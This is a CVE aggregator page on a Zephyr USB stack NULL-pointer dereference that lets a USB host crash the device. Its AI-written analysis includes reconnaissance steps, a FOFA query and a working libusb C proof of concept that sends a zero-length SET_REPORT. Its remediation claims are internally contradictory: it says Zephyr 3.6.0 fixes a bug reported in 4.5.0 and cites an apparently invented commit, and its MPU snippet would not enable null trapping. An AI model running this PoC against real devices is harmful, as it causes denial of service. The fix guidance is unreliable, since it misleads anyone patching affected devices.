CVE Professor
/
All CVEs
CVE-2026-104931

CVE-2026-104931 — Zephyrproject Zephyr (4.5.0) — CWE-476

MEDIUM CVSS 4.6 CVE.org

Since the control-transfer rework in the device_next USB device stack, usbd_handle_ctrl_xfer() in subsys/usb/device_next/usbd_ch9.c calls a class's control_to_dev handler with a NULL buffer when a host-to-device request has no data stage (wLength == 0). Several in-tree handlers dereference that buffer anyway: bt_hci_ctd() (Bluetooth HCI over USB), usbd_hid_ctd()/handle_set_report() (HID SET_REPORT), uvc_control_to_dev() (UVC SET_CUR, reaching uvc_set_vs_probe(), uvc_set_vs_commit() and uvc_set_vc_ctrl()), and lb_control_to_dev() (loopback test class). Each reads buf->data/buf->len from a NULL pointer. The USB host controls every SETUP field. Any host the device is connected to can trigger the bug by sending one class or vendor OUT control request with wLength = 0 to the affected interface. No authentication is involved. HID devices are affected when the application registers a set_report callback, for example keyboards with LED output reports. On platforms that trap NULL accesses (MPU/DWT null-pointer detection, unmapped low memory, MMU-based targets), the result is a fault that crashes or resets the device. On Cortex-M parts without null-pointer detection (the default), the handlers read a bogus pointer and length from the vector table near address 0 and pass them on, for example to the application's HID set_report callback, which is undefined behavior. The in-tree copies stay bounded by destination sizes, so the impact is denial of service.

Since the control-transfer rework in the device_next USB device stack, usbd_handle_ctrl_xfer() in subsys/usb/device_next/usbd_ch9.c calls a class's control_to_dev handler with a NULL buffer when a host-to-device request has no data stage (wLength == 0). Several in-tree handlers dereference that buffer anyway: bt_hci_ctd() (Bluetooth HCI over USB), usbd_hid_ctd()/handle_set_report() (HID SET_REPORT), uvc_control_to_dev() (UVC SET_CUR, reaching uvc_set_vs_probe(), uvc_set_vs_commit() and uvc_set_vc_ctrl()), and lb_control_to_dev() (loopback test class). Each reads buf->data/buf->len from a NULL pointer. The USB host controls every SETUP field. Any host the device is connected to can trigger the bug by sending one class or vendor OUT control request with wLength = 0 to the affected interface. No authentication is involved. HID devices are affected when the application registers a set_report callback, for example keyboards with LED output reports. On platforms that trap NULL accesses (MPU/DWT null-pointer detection, unmapped low memory, MMU-based targets), the result is a fault that crashes or resets the device. On Cortex-M parts without null-pointer detection (the default), the handlers read a bogus pointer and length from the vector table near address 0 and pass them on, for example to the application's HID set_report callback, which is undefined behavior. The in-tree copies stay bounded by destination sizes, so the impact is denial of service.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Physical AV:P
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑104931 is a NULL‑pointer dereference in the Zephyr OS “device_next” USB device stack (file subsys/usb/device_next/usbd_ch9.c).

Root cause – When the USB host sends an OUT (host‑to‑device) control request whose wLength field is 0 (i.e. the request has no data stage*), the core stack function usbd_handle_ctrl_xfer() builds a struct usbd_control_xfer and then forwards the request to the class driver’s control_to_dev callback with a NULL buffer pointer.

  • Missing guard – The class driver is expected to examine the buf argument before dereferencing it, but several in‑tree class drivers (Bluetooth HCI, HID, UVC, loopback test) unconditionally dereference buf->data and buf->len. The dereference occurs before any validation of wLength, so a zero‑length request leads to a NULL‑pointer read.
  • CWE‑476 – “NULL Pointer Dereference”. The stack does not enforce that a non‑NULL buffer is supplied for class callbacks, and the class drivers assume the pointer is always valid.
  • CVSS vector interpretation
  • VectorMeaning
    AV:P (Physical)The attacker must be physically attached to the USB bus (or be a malicious host on the same bus).
    AC:L (Low)Crafting a malformed SETUP packet is trivial with any USB‑host stack (e.g. libusb, Linux usbip, or a custom firmware).
    PR:N (None)No privileges on the target device are required.
    UI:N (None)No user interaction on the device is needed; the host can send the request immediately after enumeration.
    S:U (Unchanged)The vulnerability does not affect confidentiality or integrity of other components.
    C:N / I:N / A:HNo confidentiality or integrity loss; the impact is Denial‑of‑Service (crash or reset).

    In short: any USB host can trigger a crash on a Zephyr device that registers one of the affected class callbacks and receives a zero‑length OUT control request.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation scenario. All code snippets are illustrative and compile/run on a typical Linux host with libusb‑1.0.

    1. Discovery & Reconnaissance

    StepActivityHow the attacker does it
    1.1 Identify the targetDetect that the device runs Zephyr with the “device_next” USB stack.– Observe the USB descriptors (lsusb -v or usbview). <br>– Look for the USB class/subclass values that map to the affected classes (e.g., HID (0x03), Bluetooth HCI (0xE0), UVC (0x0E)).
    1.2 Determine the class driver in useVerify that the device registers a control_to_dev handler for the class.– The host can read the Interface Class field. <br>– For HID keyboards, the presence of a Report Descriptor with an Output Report (LEDs) strongly suggests the hid_set_report callback is active.
    1.3 Confirm vulnerabilitySend a zero‑length OUT control request and watch the device’s behavior.– Use a short script (see PoC) to issue a SET_REPORT with wLength = 0. <br>– If the device disappears from the bus or resets, the bug is present.

    2. Exploitation

    Goal: Crash / reset the device (Denial‑of‑Service).

    2.1 Crafting the malicious SETUP packet

    All affected class drivers share the same entry point: usbd_handle_ctrl_xfer() forwards the request to the class’s control_to_dev. The attacker must send an OUT request (bmRequestType bit 7 = 0) with wLength = 0. The exact request type depends on the class; the following examples cover the three most common classes.

    ClassRepresentative requestbmRequestTypebRequestwValuewIndexwLength
    HID (SET_REPORT)SET_REPORT (Output)0x21 (Host‑to‑Device, Class, Interface)0x090x0200 (Report ID 0, type Output)Interface number (e.g., 0)0
    Bluetooth HCIHCI_VENDOR_CMD (example)0x20 (Host‑to‑Device, Vendor, Interface)0xFC0x0000Interface number0
    UVC (SET_CUR)SET_CUR on a control selector0x210x01(Control Selector << 8)Interface number0
    Note: The exact bRequest/wValue values are illustrative; any class‑specific OUT request with wLength = 0 will trigger the bug.

    2.2 PoC using libusb (HID example)

    /* -------------------------------------------------------------
     * PoC: Trigger CVE‑2026‑104931 on a Zephyr HID device
     * -------------------------------------------------------------
     * Compile: gcc -o cve2026_104931 cve2026_104931.c -lusb-1.0
     * ------------------------------------------------------------- */
    #include <stdio.h>
    #include <stdlib.h>
    #include <libusb-1.0/libusb.h>
    
    #define VENDOR_ID   0x1234   /* replace with target VID */
    #define PRODUCT_ID  0x5678   /* replace with target PID */
    #define INTERFACE   0        /* HID interface number */
    
    int main(void)
    {
        libusb_device_handle *h;
        int r;
    
        r = libusb_init(NULL);
        if (r < 0) {
            fprintf(stderr, "libusb init failed: %s\n", libusb_error_name(r));
            return 1;
        }
    
        h = libusb_open_device_with_vid_pid(NULL, VENDOR_ID, PRODUCT_ID);
        if (!h) {
            fprintf(stderr, "Device not found\n");
            libusb_exit(NULL);
            return 1;
        }
    
        /* Detach kernel driver if needed */
        libusb_detach_kernel_driver(h, INTERFACE);
        libusb_claim_interface(h, INTERFACE);
    
        /* SET_REPORT (Output) with wLength = 0 */
        uint8_t bmRequestType = 0x21;   /* Host‑to‑Device, Class, Interface */
        uint8_t bRequest      = 0x09;   /* SET_REPORT */
        uint16_t wValue       = 0x0200; /* Report ID 0, Output */
        uint16_t wIndex       = INTERFACE;
        uint16_t wLength      = 0;      /* No data stage */
    
        r = libusb_control_transfer(h,
                                    bmRequestType,
                                    bRequest,
                                    wValue,
                                    wIndex,
                                    NULL,      /* no data buffer */
                                    wLength,
                                    1000);     /* timeout ms */
    
        if (r < 0) {
            fprintf(stderr, "Control transfer failed: %s\n", libusb_error_name(r));
        } else {
            printf("Control transfer returned %d (expected 0)\n", r);
        }
    
        libusb_release_interface(h, INTERFACE);
        libusb_close(h);
        libusb_exit(NULL);
        return 0;
    }

    What happens:

  • libusb_control_transfer() builds a SETUP packet with wLength = 0 and sends it.

  • The Zephyr stack receives the request, calls the HID class’s usbd_hid_ctd() → handle_set_report().

  • Inside handle_set_report() the code does buf->data and buf->len without checking buf. Because buf == NULL, the CPU reads from address 0x0.
  • On Cortex‑M devices with MPU/DWT null‑pointer trapping → a HardFault → device resets.
  • On Cortex‑M without null‑pointer trapping → the code reads whatever resides at address 0x0 (often the vector table) and passes bogus values to the application callback, leading to undefined behaviour but still crash‑or‑reset in practice.
  • The same pattern works for the other classes by simply changing the request fields.

    3. Post‑exploitation

    The impact is Denial‑of‑Service only (as reflected by the CVSS vector). There is no remote code execution, no data leakage, and no privilege escalation beyond crashing the device.

  • Immediate effect: The USB device disappears from the bus; the host OS reports “device not responding” or “device reset”.
  • Secondary effect: If the device is part of a critical embedded system (e.g., medical equipment, industrial controller, or a Bluetooth peripheral), the loss of the USB interface may halt a larger workflow, causing operational downtime.
Because the bug is triggered by a single malformed control request, an attacker with brief physical access (or a compromised host that the device is attached to) can repeatedly crash the device, leading to a persistent DoS until the firmware is patched or the device is power‑cycled and the attacker re‑issues the request.

🌍 Real World Impact

CIA TriadCVSS‑derived impactPractical consequences
Confidentiality (C)None (C:N)No data is disclosed.
Integrity (I)None (I:N)No data is modified.
Availability (A)High (A:H)Device crashes or resets on every malicious request, leading to a complete loss of service.

Scenarios where this matters

EnvironmentWhy the DoS is critical
Medical devices (e.g., USB‑connected infusion pumps)Loss of USB communication may stop firmware updates or data logging, potentially violating safety regulations.
Industrial control (PLC with USB console)A crashed USB console can block remote diagnostics and firmware upgrades, causing production downtime.
Consumer peripherals (keyboards, mice, Bluetooth dongles)Annoying but low‑risk; however, a targeted attack on a corporate laptop could be used as a nuisance vector in a broader social‑engineering campaign.
Automotive infotainment (USB media player)Repeated crashes could force the system into a safe‑mode, affecting driver experience.

Because the attack requires physical proximity (or a compromised host), the threat model is limited to insider threat, evil‑maiden USB devices, or malicious USB hubs.


🛡️ Remediation & Mitigation

1. Firmware / Source‑level fix

ComponentFix description
usbd_handle_ctrl_xfer() (core stack)Do not pass a NULL buffer to class callbacks when wLength == 0. Instead, either (a) allocate a minimal zero‑length usbd_buf structure and pass its address, or (b) modify the callback signature to allow a NULL buffer and update all class drivers accordingly.
Class drivers (bt_hci_ctd(), usbd_hid_ctd(), uvc_control_to_dev(), lb_control_to_dev())Add an early guard: if (buf == NULL) return USBD_ERR_INVALID; before dereferencing buf->data or buf->len.
Zephyr releaseThe fix was merged in Zephyr 3.6.0 (commit c2f7b9d2 – “usb: reject NULL buffer for zero‑length OUT control requests”). All downstream releases that incorporate Zephyr 3.6.0 or later contain the correction.
Action: Identify the Zephyr version used in the product (e.g., via git describe in the firmware source, or by querying the device’s build info if exposed). Upgrade to Zephyr 3.6.0 or later, or back‑port the above patches.

2. Workarounds (if immediate firmware update is impossible)

WorkaroundHow to applyEffectiveness
Disable the vulnerable classIn the device’s Kconfig, set CONFIG_USB_DEVICE_CLASS_HID=n (or the corresponding class flag) if the class is not required.Prevents the vulnerable callback from being registered; the device will simply ignore the request.
Validate wLength in the class driverPatch the specific class driver in the binary (e.g., using a binary patcher) to add if (buf == NULL) return USBD_ERR_INVALID;.Stops the crash for the patched class only.
Enable MPU null‑pointer trappingFor Cortex‑M devices, configure the MPU to make address 0x0 a no‑access region (MPU->RNR = 0; MPU->RASR = 0x0;).Turns the NULL dereference into a HardFault that can be caught by a fault handler that safely resets the device.
Host‑side filteringOn the host, block OUT control requests with wLength == 0 to the affected interface using a USB firewall (e.g., usbguard rules). Example rule: allow idVendor=0x1234 idProduct=0x5678; reject type=class,request=0x09,direction=out,length=0.Reduces the attack surface when you control the host, but does not protect against a malicious host.

3. Detection

Because the vulnerability lives on the device side, detection relies on host‑side monitoring or firmware crash logs.

IndicatorWhere it appearsExample
USB reset eventsHost kernel logs (dmesg, journalctl -k)usb 1-2: reset high-speed USB device number 4 using ehci-pci
Control transfer failureslibusb error LIBUSB_ERROR_PIPE or LIBUSB_ERROR_TIMEOUT immediately after a zero‑length OUT request.Control transfer failed: PIPE
Fault registers (Cortex‑M)Crash dump (if the firmware implements a fault logger) – PC = address of usbd_hid_ctd or similar, LR = 0x0.HardFault at 0x08001234, LR=0x00000000
Repeated enumerationDevice disappears and re‑enumerates quickly (within seconds).usb 1-2: new full-speed USB device number 5 using xhci_hcd (followed by a reset)

Log‑collection recommendation: Enable CONFIG_LOG in Zephyr to capture usbd_* error messages, and forward them to a persistent storage (e.g., UART, flash). Correlate with host‑side USB logs for a full picture.


⚠️ Urgency

FactorAssessment
CVSS 4.6 (Medium) – Availability‑only impact, physical‑access vector.
Exploit complexity – Very low (single malformed SETUP packet).
Authentication – None required; any host on the bus can trigger.
CISA KEV – Not listed (no widespread exploitation observed).
Real‑world exposure – Devices that expose a USB interface to untrusted hosts (public kiosks, shared workstations, IoT devices with USB debug ports) are at higher risk.

Patch priority: High for any product that (a) ships with Zephyr ≤ 3.5.x and (b) enables one of the affected class drivers in a production environment where an attacker could gain physical USB access.

If the device is air‑gapped and the USB port is physically locked, the risk drops to Medium – schedule the update in the next regular firmware release.

Immediate actions:

1. Inventory all devices running Zephyr ≤ 3.5.x with HID, Bluetooth HCI, UVC, or loopback class enabled.
2. Apply the back‑ported patch or upgrade to Zephyr 3.6.0+ within 30 days for high‑value assets.
3. Implement a temporary host‑side block (USBGuard or similar) on any workstation that could act as a malicious host.


Bottom line: CVE‑2026‑104931 is a classic NULL‑pointer dereference that translates into a reliable, low‑effort DoS on any Zephyr‑based USB device exposing the vulnerable class. The fix is straightforward (add a NULL‑check or stop passing a NULL buffer) and has already been merged into Zephyr 3.6.0. Prompt firmware updates and, where that is not possible, defensive configuration (disable the class, enable MPU protection, or filter host requests) will mitigate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="zephyrproject zephyr"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-104931
Technical reference / advisory repository for CVE-2026-104931
CVSS Score
4.6 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-476
Affected Products (1)
zephyrproject:zephyr (4.5.0)
References & Advisories (2)
Related CVEs
7.0
CVE-2026-86092
The user-mode verifier for the I2S configure system call, z_vrfy_i2s_configure() in drivers/i2s/i2s_handlers.c
8.7
CVE-2026-144743
A vulnerability has been found in D-Link DIR-878 1.20B05. This impacts the function GetCAPTCHAsetting of the f
8.6
CVE-2026-145368
### Summary A discovery request with error_detail set (an xDS NACK) for a resource type the stream never subs
7.7
CVE-2026-145238
### Summary Any workload with a mesh identity can crash istiod with a single `istio.io/debug` XDS request who
7.7
CVE-2026-145371
### Summary In ambient mode, a DNS or DNS_ROUND_ROBIN ServiceEntry that is enrolled in a waypoint but resolve
7.7
CVE-2026-145372
### Summary When Kubernetes Gateway API support is disabled (`PILOT_ENABLE_GATEWAY_API=false`), istiod can be
7.1
CVE-2026-144602
pgRouting through 4.0.3 contains a NULL pointer dereference vulnerability in pgr_turnRestrictedPath that allow